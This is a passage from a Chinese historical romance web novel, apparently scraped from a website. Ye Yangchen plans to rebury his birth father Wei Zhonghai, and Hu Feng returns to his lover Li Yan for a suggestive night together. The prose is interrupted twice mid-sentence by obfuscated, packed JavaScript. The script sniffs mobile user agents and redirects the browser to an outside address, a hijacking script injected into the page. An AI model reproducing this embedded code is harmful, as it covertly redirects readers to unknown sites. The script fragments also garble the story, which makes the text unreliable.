叶阳晨仰头闷了一口酒,放下酒葫芦,他正色道:“哥,不开玩笑了啊,答应要平平安安的。” “你是什么时候变得这么啰里叭嗦的啊?好啦,我知道的。”胡枫动容,鼻子也有些酸涩,语顿片刻,他说出心里话,“不过我们兄弟说好了,万一有一天…我发生了意外,你们这些兄弟一定帮我照顾黎燕。” 叶阳晨不悦,“你喝醉了?说什么胡话?你知不知道,我最怕的就是你跟我说这话。” 胡枫的表情突然变得极其严肃,“小晨,你不要回避我的问题,直接回答我。” 叶阳晨沉默不语。 胡枫补充说道:“小晨,我没有开玩笑,我是认真的。自从我陪你出来那天,很多事我就想明白了。咱们走江湖的,看多了刀光剑影,生死的事也…难得今日我们兄弟有机会把话说开,我就想把我最放心不下的事情说给你听。你是我最好的兄弟,黎燕的事我只能托付给你,你一定要帮我。” “我答应你!”看着胡枫的眼睛,叶阳晨承诺得铿锵有力。 胡枫这才笑了,“我知道你的,我一直知道你的,从我见到你第一眼,我就知道兄弟你是个靠谱的人,值得托付的人。” 叶阳晨面色冷峻,“我虽然答应了你,但是我不准你有事,你做任何事都要保重自己。你听到了吗?” 胡枫笑得云淡风轻,“兄弟,我们过的都是刀尖上舔血的日子,要说上战场不会有危险,这种话你会信吗?” 叶阳晨是不敢保证,他也承认胡枫说的是实话,可他听胡枫那么说,他还是心如刀割。叶阳晨停顿片刻后说道:“我知道我们身在战场,有诸多身不由己,但为了那些在乎我们的人,为了我们这些人的兄弟情谊,我们都要保重。” “我也答应你。”胡枫脸上露出从未有过的认真。 叶阳晨高兴地笑了起来,“过几天我们一起启程。” “你要去哪儿?” “我要回趟北都。” “回去做什么?” 叶阳晨语气郑重,“归化这个地方葬着一位忠烈,只是由于一些特殊原因,他的尸骸被埋在了异国他乡,如今我们打败了瓦哈国,也该带他回国了。” “卫忠海?”胡枫试探问道。 叶阳晨有点讶然,“你也知道这个人?” “当然,我虽然常在江湖,但他声名显赫,想没听过也很难。他可是一位不在江湖的英雄啊!” “胡哥,我也不瞒着你了,其实,卫忠海便是我的生父。” 胡枫完全愣在那里,脑海里犹如一团乱麻,他怎么都不能将叶阳晨同卫忠海联系到一起。不过胡枫觉得世间的事情很奇妙,当年卫忠海成了丰国的救世之臣,十九年后,卫忠海的儿子继续挽救并延续丰朝的命数。 胡枫缓过神问道:“叶阳天寨主不是你的亲生父亲?” “不是,我也是后来才知道的。” “那你又是怎么知道自己身世的?” “这个说来话长,今天来不及了,我找个时间再与你详说。” 胡枫仍觉得有些不可置信,“这么大的事怎么从来没听你提过呢?” “对你们这些兄弟,我没什么好隐瞒的,只是之前一直忙着打仗,没找到合适机会告诉你们,而且其实我知道的时间也不长。” “那我能为你做些什么?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950980|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶阳晨拍拍胡枫的肩膀,“这两天我要再去祭拜他,顺便把胜利的好消息告诉他,到时候你们这些兄弟姐妹都陪我一起。” “一定的。”胡枫满口答应着。 三天后,叶阳晨带着12个兄弟姐妹去拜祭卫忠海。众人齐齐跪在墓前,叶阳晨告诉所有人自己与卫忠海的关系,除了少数知道内情的,其余众人皆为震惊。那里面很多人都不知卫忠海的忠义,只知道他是丰国的重臣。 叶阳晨伤悲道:“父亲,我带我的兄弟姐妹来看你了,他们跟我一起共保丰国太平。今天我们继承你的遗志打败了那海,日后我们还会远征西日莫和敖登。终有一天,你所愿的海晏河清、国泰民安会实现。” 自从知道自己身世的那一刻起,叶阳晨便更加坚定了保国平安的心。从前,因为对林慕瑶的那份爱,叶阳晨开始读书明理,从此他看到了另一个不一样的世界。得益于仁渊的教诲,叶阳晨决定以天下为己任,心许国家。一步步走来,叶阳晨从一个“小土匪”,蜕变为有担当、有抱负的铁血男儿。 听完叶阳晨的话,所有兄弟姐妹都为之动容。尤其是林慕瑶,看着自己的丈夫变得如此耀眼明亮,她心悦至极。慕瑶记得初识叶阳晨时,他是那般顽劣,简直就是林慕瑶的梦魇,而现在她是那么感激上苍能让自己遇见叶阳晨,因为这份缘不仅让她获得了一份爱,也让自己的生命变得波澜壮阔。 祭拜结束后,经过一番仪式,便开始动土开棺,取出遗骨。叶阳晨打算几日后就启程回丰国北都,那样生父便可早日重新入土为安。 临行的前一晚,十二个兄弟姐妹聚在大帐里喝酒聊天,众人喝得不醉不归。从前在家的时候,林慕瑶和林诗怡是滴酒不沾的,林远峰也不允许女儿饮酒。可自从进了军营后,慕瑶和诗怡时时跟这一群男的待在一起,庆祝时少了酒是不可能的,渐渐地她们也能喝一些了。 两天后,叶阳晨和林慕瑶分别带着自己的亲随丁鹏和江雨洛,连同胡枫五人启程离开了,其他将军全部留在了归化以防图罗国和巴鲁国蠢蠢欲动。安然一听叶阳晨要走却不带着自己,一连哭闹了好多天,她就想哥哥去哪儿,她就跟着去哪儿。 叶阳晨本也想带着安然的,只是一想到这次回国是为了安葬卫忠海,这么大的事,安然若是跟在自己身边便会很引人注意。安然现在的身份已经不是前教主女儿,而是名副其实的天玄教教主。要是被散布在各地的天玄教教徒发现,难保有些教内叛徒想要加害于她。安然的武功算不上很好,基本没有自保的能力,叶阳晨知道他若稍有不慎,安然就可能就会陷入到危险之中,他不敢冒这个险,深思熟虑后,还是决定不把这丫头带在身边了。 其实叶未寒很想跟着叶阳晨一起回关内,那样就可以跟洛洛朝夕相处。未寒待在林府的日子里,对洛洛的感情也是与日俱增,现已到了难以割舍的程度,只是他还未找到表白的机会。小六想过让叶阳晨帮自己撮合,或者让嫂子慕瑶先去探探洛洛的口风,可思来想去他没这么做。叶阳晨一直教他做人要充满希望和乐观,他不想让叶阳晨看到他连追求女孩的勇气都没有,他坚信叶阳晨不喜欢连表白都不敢的胆怯之人。 小六一想要那么久见不到洛洛,心里就不是滋味。只是他心里很明白,叶阳晨更愿意带在身边的人是丁鹏,毕竟他们两人从小一起长大的,之间的情分更是无人可比。小六心有遗憾,但怕叶阳晨为难,他最终没有提出要跟着他们一起走的要求。 叶阳晨下将令,他不在军营期间,由左副将凌牧云和右副将叶清扬代理军中一切事务。 171. [锁] [此章节已锁] 进了杀虎关内,叶阳晨、林慕瑶便与胡枫便分走两路了。叶阳晨和林慕瑶往东去北都,胡枫往西去西关道。 临别时,叶阳晨再三叮嘱胡枫,“胡哥,你路上小心,遇事要冷静,不要冲动,更不要惹事。” “放心吧,我又不是小孩。” 叶阳晨冷哼一声,“你虽然年纪也不小了,但我还真看不出你有任何成熟。” “彼此彼此,你也比我好不了多少。”胡枫嬉皮笑脸,“小晨,你又不是我娘,更不是我婆娘,怎么每天就想管着我啊?” 叶阳晨展颜一笑,“嫌我烦啊?好啊,咱们至少几个月不会见到。” 这时,慕瑶在一旁含笑道:“胡哥,安全无小事,我们都注意一点,好不好?” 胡枫暖笑着,“我弟妹说,那当然好。” 丁鹏肃着脸拍了拍胡枫的肩膀,“胡哥,一路顺风。”他赶着马车,带着叶阳晨、林慕瑶和江雨洛离开了。 望着叶阳晨远去的马车,胡枫忽地生出一丝不舍来。认识黎燕前,胡枫就游山玩水走遍了大半个丰国。那时的他从来不喜欢被任何事羁绊住,也从来没觉得哪个地方会让他眷恋。后来是黎燕的出现,让他想安定下来生活了。可自从认识叶阳晨这些异姓兄弟姐妹后,他就不再喜欢漂泊的生活,也舍不得再与这些兄弟分离。 一个月后,胡枫回到了西关道。来到青花阁楼下,胡枫听到里面有歌声传来,那是他朝思暮想的声音。胡枫知道自己若是此时走进去,定会妨碍黎燕演艺。他只能强忍住心中的思念,先去了九州食肆街。 在塞外待了太久,胡枫还真的想念中原的美食。尽管宁哥会根据众兄弟的喜好做些家乡口味,但由于食材有限,大多时候巧妇难为无米之炊。 胡枫闲适惬意地坐在一家老字号酒楼的二楼靠窗雅座,喝着酒吃着肉,看着楼下街道上熙熙攘攘人群,胡枫突然觉得眼前的繁华极不真实。到了晚上,西关道灯火辉煌,人流如织,说书、杂耍、影戏也遍布街的两旁,对比之下,这一切都与漠北的苍凉悲风形成强烈的反差。 到了戊时二刻,胡枫这才离开酒楼,复又去了青花阁。如今黎燕已经赎了身,即使胡枫大摇大摆从正门走进去,也不会再有人拦着。只是青楼里的龟公和打手毕竟不认得他,他要名正言顺地进去,免不了还是要惊动杨妈妈一下,而这样一来还是会耽搁一些时间,胡枫觉得麻烦,又想快点看到黎燕,于是他施展轻功,翻进了黎燕所住的后院。 二楼黎燕的房间依旧亮着灯,胡枫纵身一跳翻了上去。他用手指轻轻捅破窗纸,单闭一只眼朝屋子里瞅了瞅,见黎燕乌黑的秀发披散着,身上穿着淡蓝丝绢薄衫,外披了一件蓝色的无袖夹袄,正在灯下缝制铠甲,举手投足更显明艳绝伦。胡枫当然猜得到这副铠甲是黎燕为了他做的,一向玩世不恭的胡枫,此刻眼角却有些湿润。 胡枫轻轻推开房门,走了进去。 黎燕听见声音,娇声问道:“菲菲,你还没睡吗?”她以为是自己的丫鬟进来了。 胡枫换了个假嗓音问道:“美女,在给谁缝缝补补啊?” 听这声音不是熟悉的,黎燕惊慌说道:“你是谁?快出去,否则我要喊人了。” 胡枫放下驰音古琴,绕过屏风,出现在了黎燕面前。 黎燕眼睛突然一亮,面露喜色,声音也随之哽咽,“真讨厌,回来就跟我闹,吓死我了,你什么时候回来的?” 胡枫语气也变得温柔,“日跌之时我就回来了,当时见你在忙,所以此时才过来。” 黎燕立刻放下手中的铠甲,跑过去抓着胡枫的双臂,上下打量着,“这阵子我好担心你,你在战场有没有受伤?” 胡枫轻抚着黎燕的头,又摸了摸她的脸颊,“我这不都回来了吗?放心吧,没事的。” 黎燕无所顾忌地扑倒胡枫的怀里,“我也听说你们打了很多胜仗,真的好英勇。” 胡枫玩笑道:“知道你未来夫君的厉害了吧?” “刀剑无眼,你千万不可大意的。” “我知道了,为了你,我也会谨慎小心的。” 黎燕突然想起来,“对了,小晨和慕瑶这次没有回来吗?” “他们两人去了北都办事,没有与我一起回西关来。” 两人又抱了一会儿才坐下来,好久未见,他们说着久违的情话。胡枫满眼尽是温柔,黎燕面露浓情爱意。时间过得很快,转眼到了亥时三刻,可重聚的喜悦令两人都没有察觉。 “对了,我还给你带了礼物。”胡枫突然想到古琴。 “什么啊?”黎燕眨着眼睛。 胡枫绕过屏风,取来了古琴。 黎燕极善音律,一看这把琴,便惊讶万分,“这不会就是传说中的驰音古琴吧?” 胡枫笑着点点头。 黎燕娇声道:“我还以为只是传说呢!”她边说边目不转睛地看着那把琴,手上轻抚着琴额。 “你喜欢吗?”其实也多此一问,看着黎燕的表情,胡枫哪会不知黎燕是真的喜欢。 “喜欢啊!”黎燕喜极而泣。 “为了送你这个礼物,我归营迟了,还被小晨结结实实地抽了三十鞭子。” 黎燕黛眉微蹙,“小晨那是担心你,下次你别再那么胡闹了。” “宝剑赠英雄,古琴酬知己。我就想送一个令你中意的礼物,下次不会了。” 黎燕扑哧一笑,“你还是那么油嘴滑舌。” “你弹一曲吧!” 黎燕努嘴,“你没有听外边打更吗?已经过了亥时了。我现在弹琴,整个青花阁都会觉得奇怪的。” 胡枫挠挠头,“哦,光顾着高兴了,我都忘记了时辰。时间也不早了,我也该走了。那你早点休息,明日我再来看你。”尽管胡枫心里很不舍,但他一直很尊重黎燕。在没有明媒正娶前,他从未动过越礼逾矩的念头,每次来看过黎燕便会离开。 黎燕羞着脸,灯光的映照下更加红润,“你…你要不今晚…就别走了。”放在平日,黎燕也不会说出这种话,只是两人今日刚刚重逢,久别胜新婚,她实在想与自己的爱人多待一会儿。 胡枫愣在那里,以为自己幻听了,“你说…什么?” 黎燕含羞浅笑,支吾道:“我是怕你出去又撞见那些龟公或打手,又免不了闹出些是非。不过你只准躺在我的枕侧,不准有什么非分之想。”说完黎燕朝床榻那边走去,她脱了鞋上了床后轻轻放下帐幔。 借着灯光,透过帐幔,胡枫见黎燕慢慢褪去夹袄。 黎燕语声娇柔万分,“你还站在那里做什么?” “呃……”胡枫觉得自己的脚不听使唤,怎么都迈不动步子。 “你吹了灯烛再过来。”黎燕补充说道。 胡枫心跳得紧,吹灭灯烛后忐忑地进了床帐,随之他又脱去自己的衣衫,只掀开被子一角钻了进去。 黎燕背对着胡枫,同样心如撞鹿,她甚至担心自己让胡枫留宿,会给胡枫留下自己“轻浮”的感觉。即使他们之间已经互表心意,可婚仪未办,两人躺在一张床上总归于礼不合。 胡枫有点后悔留下来了,躺在床上的他连翻身都不敢,生怕黎燕“误会”自己有所企图。帐幔里香气怡人,枕头和被子上更都是黎燕身上的味道,在这样的环境下胡枫如何睡得着,他又怎么可能一点“坏”心思没有呢? 胡枫天人交战一番,还是伸出手去,抱在了黎燕的腹部,“我可以这样抱着你睡吗?” 衫衣轻薄,胡枫的手能感觉到黎燕身上的温度。 黎燕的声音里有几分撒娇,“你这也不是征求我的意见啊?都抱上了才问我。” 胡枫的手慢慢不老实起来,攀峰沐雨,不止不休。黎燕胸腔急剧起伏,她咬着嘴唇不敢发出声音,紧张得说不出话来。 黎燕的不说话,令胡枫会错了意,令他更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991221|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加肆意。 直至黎燕轻吟一声,胡枫才抽回手。 黎燕转过身,“你刚刚怎么能那么对我?”刚刚她就想拒绝,只是胡枫的行为令她意乱情迷,想说的话都只在嗓子里徘徊,怎么都吐不出来。 胡枫听不出黎燕话里的喜怒,他刚要为自己的“无礼”道歉,黎燕用手指封住了他的嘴,“你告诉我,你是不是等不及了?” 胡枫苦笑,“要不我还是走吧?我在这里怎么睡得着呢?” 黎燕什么都没说,只是坐起来,轻轻褪去所有衣衫,将玉色风情毕露在胡枫面前。此刻,胡枫就是心坚如铁,也再无法忍住心中奔涌的热流,他情难自禁地抱住了黎燕。 诗云:“爱意渐浓春思荡,鸳鸯绣被翻红浪。” 西关道上,无论是达官显贵,还是文人墨客,无论是贩夫走卒,还是市井之徒,谁不想一睹黎燕的容颜,谁不想一亲黎燕的芳泽。可黎燕从不见客,即便为来到青花阁客人抚琴歌唱,她也是一人待在二楼雅间里。客人是只闻其声,不见其人。 可今日,黎燕把自己最美好的东西给了胡枫,无怨无悔。 求一分,退一分,更进一分,爱如缱绻溪流,蔓延热浓,情如火山喷发,水润交融,直至光影一体,你中有我。 春宵一刻值千金,良久,胡枫终于体会到一种攀至顶峰后餍足的快乐。 黎燕伏在胡枫身上,娇嗔道:“真是引狼入室,就不该好心留下你。” 胡枫打趣着:“东郭先生和狼,你上当了。” “反正用不了多久,身子也是你的,早一时晚一刻,都没有差别。今生除了你……” 胡枫抚着黎燕的香肩玉背,主动道:“燕儿,我心悦你。” 黎燕也调侃道:“胡大哥是今天做了坏事才心悦我的吗?” 一向嘴皮子极溜的胡枫,突然哑巴地说不出话来。 黎燕娇笑道:“想不到我们大名鼎鼎的“无声雪”也会有吃瘪的一天。” 胡枫扳着黎燕的脸,轻轻在她额头吻了一下,“从今往后,我只愿做你的夫君。此生我一定好好待你,才不辜负你对我的深情。等我和阳晨驱除强虏后,我就八抬大轿迎你过门。” 黎燕眼眶湿润了,“我等着你娶我的那一天,只是别让我等得太久。” 听到黎燕哽噎了,胡枫慌了,“怎么了?你不相信我的话。我对天发誓,如果我背弃对黎燕的诺言,就让我战死北疆,永不为人。” 黎燕连忙用手指封住胡枫的嘴,“乱说什么?多不吉利啊!我几时说不相信你了?” “我觉得最至多两年,我们也就会得胜而归了。” “要不你再在西关道等我几个月,之前跟杨妈妈约定的五年之期就快到了,到时候我陪你一起去关外。” 胡枫为难道:“不行的,来回路上已经耽搁得太多时日,我怎么都待不了那么久的。如今北方战事正紧,我这时告假已经很不好了。若再延期过久,就更说不过去了,况且阳晨待我亲如兄弟,这个时候我不能抛下他的。” 黎燕有些失望,“那好吧。” 胡枫摸了摸黎燕的头,轻声哄着:“如果战事不紧,我会回来接你。” 黎燕柔声道:“到时候我也可以自己去关外找你的。” “绝对不行,你不会武功,关外离这里又隔着千山万水,你自己一个人,我是万万不放心的。你听话,就乖乖在西关等我。” 黎燕叹了口气,“好吧,都听你的。但是你要注意安全啊,不要上了战场就忘了我。” “不会忘的,你时刻在我心里。” 昨日胡枫喝了酒,晚上又折腾了许久,再醒来时已接近正午,他掀开帐幔,见黎燕已不再房里。胡枫又稍躺了一会儿才穿衣起来,忽见床上开着两朵桃花,嫣红娇艳,他感动、珍惜,他下定决心,一定要让黎燕以后的生活里处处是幸福,才不枉黎燕对自己的一片真心。